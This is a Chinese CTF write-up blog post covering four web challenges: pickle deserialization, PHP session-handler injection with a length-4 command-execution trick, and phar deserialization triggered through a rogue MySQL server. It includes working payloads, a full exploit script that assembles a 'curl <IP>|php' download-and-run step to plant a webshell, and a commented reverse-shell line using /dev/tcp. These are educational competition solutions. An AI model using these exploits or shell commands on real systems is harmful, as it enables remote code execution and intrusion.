本文最后更新于:星期二, 六月 16日 2020, 2:25 下午

每一次打比赛都能感觉自己菜,不愧是我

队友 @kk 和 @Cjm00n 太顶了

整理一下高校战役赛做出来的题目的WriteUp,赛后还有一些题目要慢慢复现…

持续更新…

webtmp

这道题目是一道pickle反序列化,先贴源码

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal('secret.name', 'secret.category'))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

源码也比较简单,一开始本来想通过常用套路,也就是__reduce__()来命令执行,但是这里:

if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'

杜绝了这种方法,因为__reduce__()相当于调用了b'R'这一操作符,那就要找其他方式了

最后出题人应该是受到这篇文章的启发:https://zhuanlan.zhihu.com/p/89132768

上面这篇文章讲的是真的好,思路是通过在栈中直接修改内存中的secret.namesecret.category来达到使判断条件相同的目的,具体的操作和原理还是参照上面的文章,paylaod如下

gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVnJ1YQpWY2F0ZWdvcnkKVnd3dwp1YjBjX19tYWluX18KQW5pbWFsCimBfShYBAAAAG5hbWVYAwAAAHJ1YVgIAAAAY2F0ZWdvcnlYAwAAAHd3d3ViLg==

sqlcheckin

出了道原题,https://gksec.com/HNCTF2019-Final.html

Hackme

www.zip拿到源码,是一道PHP题,涉及以下几个知识点:

  1. session反序列化(反序列化引擎选择不同,包括php_binaryphpphp_serialize)

    不同的页面选择了不同的反序列化引擎导致反序列化可控,三种序列化方式对应的存储格式如下:

    处理引擎 对应的存储格式
    php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
    php 键名+竖线+经过serialize()函数反序列处理的值
    php_serialize serialize()函数反序列处理数组方式

    该题init.php中先使用php_serialize$_SESSION进行了序列化,然后在profile.php中又单独使用了php序列化引擎

    // profile.php
    <?php
    error_reporting(0);
    session_save_path('session');
    include 'lib.php';
    ini_set('session.serialize_handler', 'php');
    session_start();
    
    class info
    {
        public $admin;
        public $sign;
    
        public function __construct()
        {
            $this->admin = $_SESSION['admin'];
            $this->sign = $_SESSION['sign'];
    
        }
    
        public function __destruct()
        {
            echo $this->sign;
            if ($this->admin === 1) {
                redirect('./core/index.php');
            }
        }
    }
    
    $a = new info();
    ?>
    // init.php
    <?php
    //初始化整个页面
    error_reporting(0);
    //lib.php包括一些常见的函数
    include 'lib.php';
    session_save_path('session');
    ini_set('session.serialize_handler','php_serialize');
    session_start();

    通过upload_sign.php中的upload()函数,$_SESSION中包含的sign可控

    public function upload()
        {
            if ($this->checksign($this->sign)) {
                $_SESSION['sign'] = $this->sign;
                $_SESSION['admin'] = $this->admin;
            } else {
                echo "???";
            }
        }

    由于php处理引擎是使用“键名+竖线”的方式处理session的,会忽略竖线之前的其他字符,所以我们可以直接构造一个profile.php中定义的info类,然后在前面加上竖线,达到污染session,构造admin===1的目的,payload如下:

    |O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";N;}

    将该payload作为签名更新即可

  2. filter_var()parse_url()的绕过

    通过第一步我们获取了./core/index.php的代码:

    <?php
    require_once('./init.php');
    error_reporting(0);
    if (check_session($_SESSION)) {
        #hint : core/clear.php
        $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
        echo $sandbox;
        @mkdir($sandbox);
        @chdir($sandbox);
        if (isset($_POST['url'])) {
            $url = $_POST['url'];
            if (filter_var($url, FILTER_VALIDATE_URL)) {
                if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                    echo "you are hacker";
                } else {
                    $res = parse_url($url);
                    if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                        $code = file_get_contents($url);
                        if (strlen($code) <= 4) {
                            @exec($code);
                        } else {
                            echo "try again";
                        }
                    }
                }
            } else {
                echo "invalid url";
            }
        } else {
            highlight_file(__FILE__);
        }
    } else {
        die('只有管理员才能看到我哟');
    }
    

    代码的大概意思就是新建一个./sandbox然后你POST一个url,这个url要满足filter_var($url, FILTER_VALIDATE_URL),并且经过url_parse()之后,host要为127.0.0.1,然后服务器就会用file_get_content通过该url获取代码,代码长度不超过4,然后使用@exec()执行

    如果是单独的绕过上述的两个函数,可以参考这个链接:https://blog.csdn.net/zhangpen130/article/details/103893922

    但是绕过这两个函数之后,这个url还要是合法的,可以被file_get_content()解析并获得代码就有点难度了,这里贴一个payload,我也不知道它为什么能用,但是它就是能用(…

    compress.zlib://data:@127.0.0.1/baidu.com?,payload

    这个url可以通过上述两个函数,并且file_get_content()解析的结果为payload,那我们直接把后面的payload替换成执行代码即可

  3. 长度限制为4的命令执行

    后面就只剩下这个命令执行的问题了,限制长度为4执行命令。那这一部分就跟hitcon 2017的baby-revenge-v2完全一致了

    这里由于我的服务器80端口不空闲,所以我就没有复现..,贴一个月亮大哥的脚本

    import requests
    import re
    from time import sleep
    import random
    import hashlib
    from urllib.parse import quote, unquote
    url = "http://121.36.222.22:88/"
    session = requests.Session()
    
    
    
    
    def login():
        data = {
            "name": "admin",
        }
        session.post(f"{url}login.php", data=data)
        sign = {
            "sign": '|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:6:"cjm00n";}'
        }
        session.post(f"{url}?page=upload", data=sign)
    
    
    
    
    def get(name):
        res = session.get(f"{url}core/sandbox/603ea5bad7b6bad63e7a821de16173b6/{name}").text
        print(res)
    
    
    def clean():
        res = session.get(f"{url}core/clear.php").text
        print(res)
    
    
    def attack(cmd):
        prefix = "compress.zlib://data:@127.0.0.1/baidu.com?,%s"
        payload = cmd
        data = {
            "url": prefix % quote(payload)
        }
        text = session.post(f"{url}core/index.php", data=data).text
        if len(text) > 42:
            print(cmd)
            print(text[42:])
    def exp():
        login()
        clean()
        # attack("ls>b")
        # 存放待下载文件的公网主机的IP
        shell_ip = 'xxx.xxx.xxx.xxx'
        # 将shell_IP转换成十六进制
        ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))
                         for i in shell_ip.split('.')])
        pos0 = random.choice('efgh')
        pos1 = random.choice('hkpq')
        pos2 = 'g'  # 随意选择字符
        payload = [
        '>dir',
        # 创建名为 dir 的文件
    
    
        '>%s\>' % pos0,
        # 假设pos0选择 f , 创建名为 f> 的文件
    
    
        '>%st-' % pos1,
        # 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
        # 因为alphabetical序中t>s
    
    
        '>sl',
        # 创建名为 >sl 的文件;到此处有四个文件,
        # ls 的结果会是:dir f> kt- sl
    
    
        '*>v',
        # * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
        #  dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
        # 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符
    
    
        '>rev',
        # 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v
    
    
        '*v>%s' % pos2,
        # 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。体会一下。
        # 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f
    
    
        # 续行分割 curl 0x11223344|php 并逆序写入
        '>p',
        '>ph\\',
        '>\|\\',
        '>%s\\' % ip[8:10],
        '>%s\\' % ip[6:8],
        '>%s\\' % ip[4:6],
        '>%s\\' % ip[2:4],
        '>%s\\' % ip[0:2],
        '>\ \\',
        '>rl\\',
        '>cu\\',
    
    
        'sh ' + pos2,
        # sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
        # 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
        'sh ' + pos0,
        # sh f 执行curl命令,下载文件,写入木马。
    ]
        print(payload)
        for i in payload:
            assert len(i) <= 4
            attack(i)
            sleep(0.1)
        get("a.php?c=system('cat /flag');")
    
    if __name__ == "__main__":
        exp()

    借鉴的是这个链接的脚本:https://findneo.github.io/171110Bypass4CLimit/

    然后在服务器根目录index.php写入以下代码:

    <?php
    echo "<?php file_put_contents(\"a.php\", \"<?php eval(\\\$_GET[c]);?>\");?>";

    然后就可以访问a.php命令执行了

webct

这道题涉及的知识点包括:

  1. rogue_mysql_server伪造服务器进行任意文件读取
  2. phar协议触发反序列化
  3. PHP POP链利用

www.zip拿到源码,先看源码,重点是config.php

//config.php
<?php
error_reporting(0);
class Db
{
    public $ip;
    public $user;
    public $password;
    public $option;
    function __construct($ip,$user,$password,$option)
    {
        $this->user=$user;
        $this->ip=$ip;
        $this->password=$password;
        $this->option=$option;
    }
    function testquery()
    {
        $m = new mysqli($this->ip,$this->user,$this->password);
        if($m->connect_error){
            die($m->connect_error);
        }
        $m->options($this->option,1);
        $result=$m->query('select 1;');
        if($result->num_rows>0)
        {
            echo '测试完毕,数据库服务器处于开启状态';
        }
        else{
            echo '测试完毕,数据库服务器未开启';
        }
    }
}

class File
{
    public $uploadfile;
    function __construct($filename)
    {
        $this->uploadfile=$filename;
    }
    function xs()
    {
        echo '请求结束';
    }
}

class Fileupload
{
    public $file;
    function __construct($file)
    {
        $this->file = $file;
    }
    function deal()
    {
        $extensionarr=array("gif","jpeg","jpg","png");
        $extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
        $type = $this->file->uploadfile['type'];
        //echo "type: ".$type;
        $filetypearr=array("image/jpeg","image/png","image/gif");
        if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
        {
            if ($_FILES["file"]["error"] > 0) {
                echo "错误:: " .$this->file->uploadfile["error"] . "<br>";
                die();
            }else{
                if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
                    mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
                }
                $upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
                move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
                echo "上传成功"."<br>";
            }
        }
        else{
            echo "不被允许的文件类型"."<br>";
        }
    }
    function __destruct()
    {
        $this->file->xs();
    }
}
class Listfile
{
    public $file;
    function __construct($file)
    {
        $this->file=$file;
    }
    function listdir(){
        system("ls ".$this->file)."<br>";
    }
    function __call($name, $arguments)
    {
        system("ls ".$this->file);
    }
}

题目给了一个文件上传和一个mysql连接,肯定都是有用的,东西这么少,一看就是个反序列化,那先看一下全场唯一一个__destruct(),是Fileupload类的:

function __destruct()
    {
        $this->file->xs();
    }

调用了$this->file->xs(),本意是调用File类的xs(),那我们找找有没有__call()可以用,恰巧在Listfile类里有一个

function __call($name, $arguments)
    {
        system("ls ".$this->file);
    }

直接拼接,那很明显这里堆叠一下命令就是任意命令执行了。

POP链找到了下面就是如何触发的问题,全场是没有unserialize()可以用的,恰好这里有一个文件上传,可以考虑一下用Phar来触发反序列化,贴个链接:https://paper.seebug.org/680/

但是又找不到有什么文件读取函数可以触发Phar协议,这时候就要膜一下zsx师傅了:Phar与Stream Wrapper造成PHP RCE的深入挖掘

这篇文章提到mysql其实也是可以通过LOAD DATA LOCAL INFILE来触发php_stream_open_wrapper的,但是需要配置

mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);这个也是我们可控的

但是看到Db类里,查询语句貌似不可控$result=$m->query('select 1;');,但是我们可以通过使用Rogue_mysql_server伪造mysql服务端,发出指令使得客户端去读取本地文件,从而触发php_stream_open_wrapper

https://www.cnblogs.com/BOHB-yunying/p/10820453.html

脚本用的的是https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

那最后做题的步骤就是:

  1. 构造POP链,并生成Phar文件
  2. 将Phar文件后缀改为jpg上传
  3. 将上传文件的路径加入到py的file_lists中
  4. 在接口访问搭建的rogue_mysql_server

生成phar的exp如下:

<?php
class Listfile
{
    //public $file = '/;bash -i >& /dev/tcp/47.96.230.108/2333 0>&1;';
    public $file = '/;/readflag;';
}

class Fileupload
{
    public $file;
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Fileupload();
$o->file = new Listfile();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

将Phar文件后缀改为jpg上传,获得图片路径(这里有个坑,网页显示的不是完整路径,需要在中间加上一个目录md5($_SERVER['REMOTE_ADDR']),最后的路径是/uploads/528c425e95017070206b578fe52c573c/5d5c64a35450990eb77d7d75e7b79de8.jpg

把这个路径写到rogue_mysql_server.pyfile_list里,启动服务

在网页提交如下:

最后options填8是因为MYSQLI_OPT_LOCAL_INFILE == 8

然后就可以在页面拿到flag了

(未完待续…


本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

SQL注入总结归纳 上一篇
Golang学习笔记 下一篇